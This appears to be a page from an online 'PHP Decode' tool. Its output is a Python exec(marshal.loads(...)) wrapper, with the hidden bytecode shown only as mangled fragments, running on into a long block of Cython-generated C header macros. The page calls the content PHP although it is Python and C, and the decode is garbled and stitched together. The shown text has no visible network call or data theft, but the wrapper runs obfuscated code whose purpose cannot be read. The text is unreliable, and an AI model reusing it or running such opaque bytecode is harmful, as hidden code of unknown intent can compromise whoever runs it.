Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

import marshal exec(marshal.loads(b'c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00..

Decoded Output download

<?  import marshal 
exec(marshal.loads(b'c@s@dZerdd!ZddlZddlZegdZegdZejZ	egde	Z
egdejZedd	geZ
ejeree
egd
eegd
e
eddZegdZedgejed
gdedgddZegde	egdeegdeed
geegde	egdeZeeedgZeeWdn1s0Yejejeddee
egd
eegd
eegd
e
eedS)FN)	r ).PY_rRIVATE/20r4r613rrr5rrr7r)exportrrrrHONr#r$Mr=)rrrr r!r"rrrrr#r$r%r
rXrCUrrBLrr\'r
r)r&r-rav#ifndef PY_SSIZE_T_CLEAN
#define PY_SSIZE_T_CLEAN
#endif /* PY_SSIZE_T_CLEAN */
#include "Python.h"
#ifndef Py_PYTHON_H
    #error Python headers needed to compile C extensions, please install development version of Python.
#elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000)
    #error Cython requires Python 2.6+ or Python 3.3+.
#else
#define CYTHON_ABI "0_29_33"
#define CYTHON_HEX_VERSION 0x001D21F0
#define CYTHON_FUTURE_DIVISION 1
#include <stddef.h>
#ifndef offsetof
  #define offsetof(type, member) ( (size_t) & ((type*)0) -> member )
#endif
#if !defined(WIN32) && !defined(MS_WINDOWS)
  #ifndef __stdcall
    #define __stdcall
  #endif
  #ifndef __cdecl
    #define __cdecl
  #endif
  #ifndef __fastcall
    #define __fastcall
  #endif
#endif
#ifndef DL_IMPORT
  #define DL_IMPORT(t) t
#endif
#ifndef DL_EXPORT
  #define DL_EXPORT(t) t
#endif
#define __PYX_COMMA ,
#ifndef HAVE_LONG_LONG
  #if PY_VERSION_HEX >= 0x02070000
    #define HAVE_LONG_LONG
  #endif
#endif
#ifndef PY_LONG_LONG
  #define PY_LONG_LONG LONG_LONG
#endif
#ifndef Py_HUGE_VAL
  #define Py_HUGE_VAL HUGE_VAL
#endif
#ifdef PYPY_VERSION
  #define CYTHON_COMPILING_IN_PYPY 1
  #define CYTHON_COMPILING_IN_PYSTON 0
  #define CYTHON_COMPILING_IN_CPYTHON 0
  #define CYTHON_COMPILING_IN_NOGIL 0
  #undef CYTHON_USE_TYPE_SLOTS
  #define CYTHON_USE_TYPE_SLOTS 0
  #undef CYTHON_USE_PYTYPE_LOOKUP
  #define CYTHON_USE_PYTYPE_LOOKUP 0
  #if PY_VERSION_HEX < 0x03050000
    #undef CYTHON_USE_ASYNC_SLOTS
    #define CYTHON_USE_ASYNC_SLOTS 0
  #elif !defined(CYTHON_USE_ASYNC_SLOTS)
    #define CYTHON_USE_ASYNC_SLOTS 1
  #endif
  #undef CYTHON_USE_PYLIST_INTERNALS
  #define CYTHON_USE_PYLIST_INTERNALS 0
  #undef CYTHON_USE_UNICODE_INTERNALS
  #define CYTHON_USE_UNICODE_INTERNALS 0
  #undef CYTHON_USE_UNICODE_WRITER
  #define CYTHON_USE_UNICODE_WRITER 0
  #undef CYTHON_USE_PYLONG_INTERNALS
  #define CYTHON_USE_PYLONG_INTERNALS 0
  #undef CYTHON_AVOID_BORROWED_REFS
  #define CYTHON_AVOID_BORROWED_REFS 1
  #undef CYTHON_ASSUME_SAFE_MACROS
  #define CYTHON_ASSUME_SAFE_MACROS 0
  #undef CYTHON_UNPACK_METHODS
  #define CYTHON_UNPACK_METHODS 0
  #undef CYTHON_FAST_THREAD_STATE
  #define CYTHON_FAST_THREAD_STATE 0
  #undef CYTHON_FAST_PYCALL
  #define CYTHON_FAST_PYCALL 0
  #undef CYTHON_PEP489_MULTI_PHASE_INIT
  #define CYTHON_PEP489_MULTI_PHASE_INIT 0
  #undef CYTHON_USE_TP_FINALIZE
  #define CYTHON_USE_TP_FINALIZE 0
  #undef CYTHON_USE_DICT_VERSIONS
  #define CYTHON_USE_DICT_VERSIONS 0
  #undef CYTHON_USE_EXC_INFO_STACK
  #define CYTHON_USE_EXC_INFO_STACK 0
  #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC
    #define CYTHON_UPDATE_DESCRIPTOR_DOC 0
  #endif
#elif defined(PYSTON_VERSION)
  #define CYTHON_COMPILING_IN_PYPY 0
  #define CYTHON_COMPILING_IN_PYSTON 1
  #define CYTHON_COMPILING_IN_CPYTHON 0
  #define CYTHON_COMPILING_IN_NOGIL 0
  #ifndef CYTHON_USE_TYPE_SLOTS
    #define CYTHON_USE_TYPE_SLOTS 1
  #endif
  #undef CYTHON_USE_PYTYPE_LOOKUP
  #define CYTHON_USE_PYTYPE_LOOKUP 0
  #undef CYTHON_USE_ASYNC_SLOTS
  #define CYTHON_USE_ASYNC_SLOTS 0
  #undef CYTHON_USE_PYLIST_INTERNALS
  #define CYTHON_USE_PYLIST_INTERNALS 0
  #ifndef CYTHON_USE_UNICODE_INTERNALS
    #define CYTHON_USE_UNICODE_INTERNALS 1
  #endif
  #undef CYTHON_USE_UNICODE_WRITER
  #define CYTHON_USE_UNICODE_WRITER 0
  #undef CYTHON_USE_PYLONG_INTERNALS
  #define CYTHON_USE_PYLONG_INTERNALS 0
  #ifndef CYTHON_AVOID_BORROWED_REFS
    #define CYTHON_AVOID_BORROWED_REFS 0
  #endif
  #ifndef CYTHON_ASSUME_SAFE_MACROS
    #define CYTHON_ASSUME_SAFE_MACROS 1
  #endif
  #ifndef CYTHON_UNPACK_METHODS
    #define CYTHON_UNPACK_METHODS 1
  #endif
  #undef CYTHON_FAST_THREAD_STATE
  #define CYTHON_FAST_THREAD_STATE 0
  #undef CYTHON_FAST_PYCALL
  #define CYTHON_FAST_PYCALL 0
  #undef CYTHON_PEP489_MULTI_PHASE_INIT
  #define CYTHON_PEP489_MULTI_PHASE_INIT 0
  #undef CYTHON_USE_TP_FINALIZE
  #define CYTHON_USE_TP_FINALIZE 0
  #undef CYTHON_USE_DICT_VERSIONS
  #define CYTHON_USE_DICT_VERSIONS 0
  #undef CYTHON_USE_EXC_INFO_STACK
  #define CYTHON_USE_EXC_INFO_STACK 0
  #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC
    #define CYTHON_UPDATE_DESCRIPTOR_DOC 0
  #endif
#elif defined(PY_NOGIL)
  #define CYTHON_COMPILING_IN_PYPY 0
  #define CYTHON_COMPILING_IN_PYSTON 0
  #define CYTHON_COMPILING_IN_CPYTHON 0
  #define CYTHON_COMPILING_IN_NOGIL 1
  #ifndef CYTHON_USE_TYPE_SLOTS
    #define CYTHON_USE_TYPE_SLOTS 1
  #endif
  #undef CYTHON_USE_PYTYPE_LOOKUP
  #define CYTHON_USE_PYTYPE_LOOKUP 0
  #ifndef CYTHON_USE_ASYNC_SLOTS
    #define CYTHON_USE_ASYNC_SLOTS 1
  #endif
  #undef CYTHON_USE_PYLIST_INTERNALS
  #define CYTHON_USE_PYLIST_INTERNALS 0
  #ifndef CYTHON_USE_UNICODE_INTERNALS
    #define CYTHON_USE_UNICODE_INTERNALS 1
  #endif
  #undef CYTHON_USE_UNICODE_WRITER
  #define CYTHON_USE_UNICODE_WRITER 0
  #undef CYTHON_USE_PYLONG_INTERNALS
  #define CYTHON_USE_PYLONG_INTERNALS 0
  #ifndef CYTHON_AVOID_BORROWED_REFS
    #define CYTHON_AVOID_BORROWED_REFS 0
  #endif
  #ifndef CYTHON_ASSUME_SAFE_MACROS
    #define CYTHON_ASSUME_SAFE_MACROS 1
  #endif
  #ifndef CYTHON_UNPACK_METHODS
    #define CYTHON_UNPACK_METHODS 1
  #endif
  #undef CYTHON_FAST_THREAD_STATE
  #define CYTHON_FAST_THREAD_STATE 0
  #undef CYTHON_FAST_PYCALL
  #define CYTHON_FAST_PYCALL 0
  #ifndef CYTHON_PEP489_MULTI_PHASE_INIT
    #define CYTHON_PEP489_MULTI_PHASE_INIT 1
  #endif
  #ifndef CYTHON_USE_TP_FINALIZE
    #define CYTHON_USE_TP_FINALIZE 1
  #endif
  #undef CYTHON_USE_DICT_VERSIONS
  #define CYTHON_USE_DICT_VERSIONS 0
  #undef CYTHON_USE_EXC_INFO_STACK
  #define CYTHON_USE_EXC_INFO_STACK 0
#else
  #define CYTHON_COMPILING_IN_PYPY 0
  #define CYTHON_COMPILING_IN_PYSTON 0
  #define CYTHON_COMPILING_IN_CPYTHON 1
  #define CYTHON_COMPILING_IN_NOGIL 0
  #ifndef CYTHON_USE_TYPE_SLOTS
    #define CYTHON_USE_TYPE_SLOTS 1
  #endif
  #if PY_VERSION_HEX < 0x02070000
    #undef CYTHON_USE_PYTYPE_LOOKUP
    #define CYTHON_USE_PYTYPE_LOOKUP 0
  #elif !defined(CYTHON_USE_PYTYPE_LOOKUP)
    #define CYTHON_USE_PYTYPE_LOOKUP 1
  #endif
  #if PY_MAJOR_VERSION < 3
    #undef CYTHON_USE_ASYNC_SLOTS
    #define CYTHON_USE_ASYNC_SLOTS 0
  #elif !defined(CYTHON_USE_ASYNC_SLOTS)
    #define CYTHON_USE_ASYNC_SLOTS 1
  #endif
  #if PY_VERSION_HEX < 0x02070000
    #undef CYTHON_USE_PYLONG_INTERNALS
    #define CYTHON_USE_PYLONG_INTERNALS 0
  #elif !defined(CYTHON_USE_PYLONG_INTERNALS)
    #define CYTHON_USE_PYLONG_INTERNALS 1
  #endif
  #ifndef CYTHON_USE_PYLIST_INTERNALS
    #define CYTHON_USE_PYLIST_INTERNALS 1
  #endif
  #ifndef CYTHON_USE_UNICODE_INTERNALS
    #define CYTHON_USE_UNICODE_INTERNALS 1
  #endif
  #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2
    #undef CYTHON_USE_UNICODE_WRITER
    #define CYTHON_USE_UNICODE_WRITER 0
  #elif !defined(CYTHON_USE_UNICODE_WRITER)
    #define CYTHON_USE_UNICODE_WRITER 1
  #endif
  #ifndef CYTHON_AVOID_BORROWED_REFS
    #define CYTHON_AVOID_BORROWED_REFS 0
  #endif
  #ifndef CYTHON_ASSUME_SAFE_MACROS
    #define CYTHON_ASSUME_SAFE_MACROS 1
  #endif
  #ifndef CYTHON_UNPACK_METHODS
    #define CYTHON_UNPACK_METHODS 1
  #endif
  #if PY_VERSION_HEX >= 0x030B00A4
    #undef CYTHON_FAST_THREAD_STATE
    #define CYTHON_FAST_THREAD_STATE 0
  #elif !defined(CYTHON_FAST_THREAD_STATE)
    #define CYTHON_FAST_THREAD_STATE 1
  #endif
  #ifndef CYTHON_FAST_PYCALL
    #define CYTHON_FAST_PYCALL (PY_VERSION_HEX < 0x030A0000)
  #endif
  #ifndef CYTHON_PEP489_MULTI_PHASE_INIT
    #define CYTHON_PEP489_MULTI_PHASE_INIT (PY_VERSION_HEX >= 0x03050000)
  #endif
  #ifndef CYTHON_USE_TP_FINALIZE
    #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1)
  #endif
  #ifndef CYTHON_USE_DICT_VERSIONS
    #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX >= 0x030600B1)
  #endif
  #if PY_VERSION_HEX >= 0x030B00A4
    #undef CYTHON_USE_EXC_INFO_STACK
    #define CYTHON_USE_EXC_INFO_STACK 0
  #elif !defined(CYTHON_USE_EXC_INFO_STACK)
    #define CYTHON_USE_EXC_INFO_STACK (PY_VERSION_HEX >= 0x030700A3)
  #endif
  #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC
    #define CYTHON_UPDATE_DESCRIPTOR_DOC 1
  #endif
#endif
#if !defined(CYTHON_FAST_PYCCALL)
#define CYTHON_FAST_PYCCALL  (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1)
#endif
#if CYTHON_USE_PYLONG_INTERNALS
  #if PY_MAJOR_VERSION < 3
    #include "longintrepr.h"
  #endif
  #undef SHIFT
  #undef BASE
  #undef MASK
  #ifdef SIZEOF_VOID_P
    enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) };
  #endif
#endif
#ifndef __has_attribute
  #define __has_attribute(x) 0
#endif
#ifndef __has_cpp_attribute
  #define __has_cpp_attribute(x) 0
#endif
#ifndef CYTHON_RESTRICT
  #if defined(__GNUC__)
    #define CYTHON_RESTRICT __restrict__
  #elif defined(_MSC_VER) && _MSC_VER >= 1400
    #define CYTHON_RESTRICT __restrict
  #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
    #define CYTHON_RESTRICT restrict
  #else
    #define CYTHON_RESTRICT
  #endif
#endif
#ifndef CYTHON_UNUSED
# if defined(__GNUC__)
#   if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))
#     define CYTHON_UNUSED __attribute__ ((__unused__))
#   else
#     define CYTHON_UNUSED
#   endif
# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER))
#   define CYTHON_UNUSED __attribute__ ((__unused__))
# else
#   define CYTHON_UNUSED
# endif
#endif
#ifndef CYTHON_MAYBE_UNUSED_VAR
#  if defined(__cplusplus)
     template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { }
#  else
#    define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x)
#  endif
#endif
#ifndef CYTHON_NCP_UNUSED
# if CYTHON_COMPILING_IN_CPYTHON
#  define CYTHON_NCP_UNUSED
# else
#  define CYTHON_NCP_UNUSED CYTHON_UNUSED
# endif
#endif
#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None)
#ifdef _MSC_VER
    #ifndef _MSC_STDINT_H_
        #if _MSC_VER < 1300
           typedef unsigned char     uint8_t;
           typedef unsigned int      uint32_t;
        #else
           typedef unsigned __int8   uint8_t;
           typedef unsigned __int32  uint32_t;
        #endif
    #endif
#else
   #include <stdint.h>
#endif
#ifndef CYTHON_FALLTHROUGH
  #if defined(__cplusplus) && __cplusplus >= 201103L
    #if __has_cpp_attribute(fallthrough)
      #define CYTHON_FALLTHROUGH [[fallthrough]]
    #elif __has_cpp_attribute(clang::fallthrough)
      #define CYTHON_FALLTHROUGH [[clang::fallthrough]]
    #elif __has_cpp_attribute(gnu::fallthrough)
      #define CYTHON_FALLTHROUGH [[gnu::fallthrough]]
    #endif
  #endif
  #ifndef CYTHON_FALLTHROUGH
    #if __has_attribute(fallthrough)
      #define CYTHON_FALLTHROUGH __attribute__((fallthrough))
    #else
      #define CYTHON_FALLTHROUGH
    #endif
  #endif
  #if defined(__clang__ ) && defined(__apple_build_version__)
    #if __apple_build_version__ < 7000000
      #undef  CYTHON_FALLTHROUGH
      #define CYTHON_FALLTHROUGH
    #endif
  #endif
#endif

#ifndef CYTHON_INLINE
  #if defined(__clang__)
    #define CYTHON_INLINE __inline__ __attribute__ ((__unused__))
  #elif defined(__GNUC__)
    #define CYTHON_INLINE __inline__
  #elif defined(_MSC_VER)
    #define CYTHON_INLINE __inline
  #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
    #define CYTHON_INLINE inline
  #else
    #define CYTHON_INLINE
  #endif
#endif

#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag)
  #define Py_OptimizeFlag 0
#endif
#define __PYX_BUILD_PY_SSIZE_T "n"
#define CYTHON_FORMAT_SSIZE_T "z"
#if PY_MAJOR_VERSION < 3
  #define __Pyx_BUILTIN_MODULE_NAME "__builtin__"
  #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\
          PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)
  #define __Pyx_DefaultClassType PyClass_Type
#else
  #define __Pyx_BUILTIN_MODULE_NAME "builtins"
  #define __Pyx_DefaultClassType PyType_Type
#if PY_VERSION_HEX >= 0x030B00A1
    static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int k, int l, int s, int f,
                                                    PyObject *code, PyObject *c, PyObject* n, PyObject *v,
                                                    PyObject *fv, PyObject *cell, PyObject* fn,
                                                    PyObject *name, int fline, PyObject *lnos) {
        PyObject *kwds=NULL, *argcount=NULL, *posonlyargcount=NULL, *kwonlyargcount=NULL;
        PyObject *nlocals=NULL, *stacksize=NULL, *flags=NULL, *replace=NULL, *call_result=NULL, *empty=NULL;
        const char *fn_cstr=NULL;
        const char *name_cstr=NULL;
        PyCodeObject* co=NULL;
        PyObject *type, *value, *traceback;
        PyErr_Fetch(&type, &value, &traceback);
        if (!(kwds=PyDict_New())) goto end;
        if (!(argcount=PyLong_FromLong(a))) goto end;
        if (PyDict_SetItemString(kwds, "co_argcount", argcount) != 0) goto end;
        if (!(posonlyargcount=PyLong_FromLong(0))) goto end;
        if (PyDict_SetItemString(kwds, "co_posonlyargcount", posonlyargcount) != 0) goto end;
        if (!(kwonlyargcount=PyLong_FromLong(k))) goto end;
        if (PyDict_SetItemString(kwds, "co_kwonlyargcount", kwonlyargcount) != 0) goto end;
        if (!(nlocals=PyLong_FromLong(l))) goto end;
        if (PyDict_SetItemString(kwds, "co_nlocals", nlocals) != 0) goto end;
        if (!(stacksize=PyLong_FromLong(s))) goto end;
        if (PyDict_SetItemString(kwds, "co_stacksize", stacksize) != 0) goto end;
        if (!(flags=PyLong_FromLong(f))) goto end;
        if (PyDict_SetItemString(kwds, "co_flags", flags) != 0) goto end;
        if (PyDict_SetItemString(kwds, "co_code", code) != 0) goto end;
        if (PyDict_SetItemString(kwds, "co_consts", c) != 0) goto end;
        if (PyDict_SetItemString(kwds, "co_names", n) != 0) goto end;
        if (PyDict_SetItemString(kwds, "co_varnames", v) != 0) goto end;
        if (PyDict_SetItemString(kwds, "co_freevars", fv) != 0) goto end;
        if (PyDict_SetItemString(kwds, "co_cellvars", cell) != 0) goto end;
        if (PyDict_SetItemString(kwds, "co_linetable", lnos) != 0) goto end;
        if (!(fn_cstr=PyUnicode_AsUTF8AndSize(fn, NULL))) goto end;
        if (!(name_cstr=PyUnicode_AsUTF8AndSize(name, NULL))) goto end;
        if (!(co = PyCode_NewEmpty(fn_cstr, name_cstr, fline))) goto end;
        if (!(replace = PyObject_GetAttrString((PyObject*)co, "replace"))) goto cleanup_code_too;
        if (!(empty = PyTuple_New(0))) goto cleanup_code_too; // unfortunately __pyx_empty_tuple isn\'t available here
        if (!(call_result = PyObject_Call(replace, empty, kwds))) goto cleanup_code_too;
        Py_XDECREF((PyObject*)co);
        co = (PyCodeObject*)call_result;
        call_result = NULL;
        if (0) {
            cleanup_code_too:
            Py_XDECREF((PyObject*)co);
            co = NULL;
        }
        end:
        Py_XDECREF(kwds);
        Py_XDECREF(argcount);
        Py_XDECREF(posonlyargcount);
        Py_XDECREF(kwonlyargcount);
        Py_XDECREF(nlocals);
        Py_XDECREF(stacksize);
        Py_XDECREF(replace);
        Py_XDECREF(call_result);
        Py_XDECREF(empty);
        if (type) {
            PyErr_Restore(type, value, traceback);
        }
        return co;
    }
#else
  #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\
          PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)
#endif
  #define __Pyx_DefaultClassType PyType_Type
#endif
#ifndef Py_TPFLAGS_CHECKTYPES
  #define Py_TPFLAGS_CHECKTYPES 0
#endif
#ifndef Py_TPFLAGS_HAVE_INDEX
  #define Py_TPFLAGS_HAVE_INDEX 0
#endif
#ifndef Py_TPFLAGS_HAVE_NEWBUFFER
  #define Py_TPFLAGS_HAVE_NEWBUFFER 0
#endif
#ifndef Py_TPFLAGS_HAVE_FINALIZE
  #define Py_TPFLAGS_HAVE_FINALIZE 0
#endif
#ifndef METH_STACKLESS
  #define METH_STACKLESS 0
#endif
#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL)
  #ifndef METH_FASTCALL
     #define METH_FASTCALL 0x80
  #endif
  typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs);
  typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args,
                                                          Py_ssize_t nargs, PyObject *kwnames);
#else
  #define __Pyx_PyCFunctionFast _PyCFunctionFast
  #define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords
#endif
#if CYTHON_FAST_PYCCALL
#define __Pyx_PyFastCFunction_Check(func)\
    ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST | METH_KEYWORDS | METH_STACKLESS)))))
#else
#define __Pyx_PyFastCFunction_Check(func) 0
#endif
#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc)
  #define PyObject_Malloc(s)   PyMem_Malloc(s)
  #define PyObject_Free(p)     PyMem_Free(p)
  #define PyObject_Realloc(p)  PyMem_Realloc(p)
#endif
#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030400A1
  #define PyMem_RawMalloc(n)           PyMem_Malloc(n)
  #define PyMem_RawRealloc(p, n)       PyMem_Realloc(p, n)
  #define PyMem_RawFree(p)             PyMem_Free(p)
#endif
#if CYTHON_COMPILING_IN_PYSTON
  #define __Pyx_PyCode_HasFreeVars(co)  PyCode_HasFreeVars(co)
  #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno)
#else
  #define __Pyx_PyCode_HasFreeVars(co)  (PyCode_GetNumFree(co) > 0)
  #define __Pyx_PyFrame_SetLineNumber(frame, lineno)  (frame)->f_lineno = (lineno)
#endif
#if !CYTHON_FAST_THREAD_STATE || PY_VERSION_HEX < 0x02070000
  #define __Pyx_PyThreadState_Current PyThreadState_GET()
#elif PY_VERSION_HEX >= 0x03060000
  #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet()
#elif PY_VERSION_HEX >= 0x03000000
  #define __Pyx_PyThreadState_Current PyThreadState_GET()
#else
  #define __Pyx_PyThreadState_Current _PyThreadState_Current
#endif
#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT)
#include "pythread.h"
#define Py_tss_NEEDS_INIT 0
typedef int Py_tss_t;
static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) {
  *key = PyThread_create_key();
  return 0;
}
static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) {
  Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t));
  *key = Py_tss_NEEDS_INIT;
  return key;
}
static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) {
  PyObject_Free(key);
}
static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) {
  return *key != Py_tss_NEEDS_INIT;
}
static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) {
  PyThread_delete_key(*key);
  *key = Py_tss_NEEDS_INIT;
}
static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) {
  return PyThread_set_key_value(*key, value);
}
static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) {
  return PyThread_get_key_value(*key);
}
#endif
#if CYTHON_COMPILING_IN_CPYTHON || defined(_PyDict_NewPresized)
#define __Pyx_PyDict_NewPresized(n)  ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n))
#else
#define __Pyx_PyDict_NewPresized(n)  PyDict_New()
#endif
#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION
  #define __Pyx_PyNumber_Divide(x,y)         PyNumber_TrueDivide(x,y)
  #define __Pyx_PyNumber_InPlaceDivide(x,y)  PyNumber_InPlaceTrueDivide(x,y)
#else
  #define __Pyx_PyNumber_Divide(x,y)         PyNumber_Divide(x,y)
  #define __Pyx_PyNumber_InPlaceDivide(x,y)  PyNumber_InPlaceDivide(x,y)
#endif
#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && CYTHON_USE_UNICODE_INTERNALS
#define __Pyx_PyDict_GetItemStr(dict, name)  _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash)
#else
#define __Pyx_PyDict_GetItemStr(dict, name)  PyDict_GetItem(dict, name)
#endif
#if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND)
  #define CYTHON_PEP393_ENABLED 1
  #if PY_VERSION_HEX >= 0x030C0000
    #define __Pyx_PyUnicode_READY(op)       (0)
  #else
    #define __Pyx_PyUnicode_READY(op)       (likely(PyUnicode_IS_READY(op)) ?\
                                                0 : _PyUnicode_Ready((PyObject *)(op)))
  #endif
  #define __Pyx_PyUnicode_GET_LENGTH(u)   PyUnicode_GET_LENGTH(u)
  #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i)
  #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u)   PyUnicode_MAX_CHAR_VALUE(u)
  #define __Pyx_PyUnicode_KIND(u)         PyUnicode_KIND(u)
  #define __Pyx_PyUnicode_DATA(u)         PyUnicode_DATA(u)
  #define __Pyx_PyUnicode_READ(k, d, i)   PyUnicode_READ(k, d, i)
  #define __Pyx_PyUnicode_WRITE(k, d, i, ch)  PyUnicode_WRITE(k, d, i, ch)
  #if PY_VERSION_HEX >= 0x030C0000
    #define __Pyx_PyUnicode_IS_TRUE(u)      (0 != PyUnicode_GET_LENGTH(u))
  #else
    #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000
    #define __Pyx_PyUnicode_IS_TRUE(u)      (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length))
    #else
    #define __Pyx_PyUnicode_IS_TRUE(u)      (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u)))
    #endif
  #endif
#else
  #define CYTHON_PEP393_ENABLED 0
  #define PyUnicode_1BYTE_KIND  1
  #define PyUnicode_2BYTE_KIND  2
  #define PyUnicode_4BYTE_KIND  4
  #define __Pyx_PyUnicode_READY(op)       (0)
  #define __Pyx_PyUnicode_GET_LENGTH(u)   PyUnicode_GET_SIZE(u)
  #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i]))
  #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u)   ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111)
  #define __Pyx_PyUnicode_KIND(u)         (sizeof(Py_UNICODE))
  #define __Pyx_PyUnicode_DATA(u)         ((void*)PyUnicode_AS_UNICODE(u))
  #define __Pyx_PyUnicode_READ(k, d, i)   ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i]))
  #define __Pyx_PyUnicode_WRITE(k, d, i, ch)  (((void)(k)), ((Py_UNICODE*)d)[i] = ch)
  #define __Pyx_PyUnicode_IS_TRUE(u)      (0 != PyUnicode_GET_SIZE(u))
#endif
#if CYTHON_COMPILING_IN_PYPY
  #define __Pyx_PyUnicode_Concat(a, b)      PyNumber_Add(a, b)
  #define __Pyx_PyUnicode_ConcatSafe(a, b)  PyNumber_Add(a, b)
#else
  #define __Pyx_PyUnicode_Concat(a, b)      PyUnicode_Concat(a, b)
  #define __Pyx_PyUnicode_ConcatSafe(a, b)  ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\
      PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b))
#endif
#if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains)
  #define PyUnicode_Contains(u, s)  PySequence_Contains(u, s)
#endif
#if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check)
  #define PyByteArray_Check(obj)  PyObject_TypeCheck(obj, &PyByteArray_Type)
#endif
#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format)
  #define PyObject_Format(obj, fmt)  PyObject_CallMethod(obj, "__format__", "O", fmt)
#endif
#define __Pyx_PyString_FormatSafe(a, b)   ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b))
#define __Pyx_PyUnicode_FormatSafe(a, b)  ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b))
#if PY_MAJOR_VERSION >= 3
  #define __Pyx_PyString_Format(a, b)  PyUnicode_Format(a, b)
#else
  #define __Pyx_PyString_Format(a, b)  PyString_Format(a, b)
#endif
#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII)
  #define PyObject_ASCII(o)            PyObject_Repr(o)
#endif
#if PY_MAJOR_VERSION >= 3
  #define PyBaseString_Type            PyUnicode_Type
  #define PyStringObject               PyUnicodeObject
  #define PyString_Type                PyUnicode_Type
  #define PyString_Check               PyUnicode_Check
  #define PyString_CheckExact          PyUnicode_CheckExact
#ifndef PyObject_Unicode
  #define PyObject_Unicode             PyObject_Str
#endif
#endif
#if PY_MAJOR_VERSION >= 3
  #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj)
  #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj)
#else
  #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj))
  #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj))
#endif
#ifndef PySet_CheckExact
  #define PySet_CheckExact(obj)        (Py_TYPE(obj) == &PySet_Type)
#endif
#if PY_VERSION_HEX >= 0x030900A4
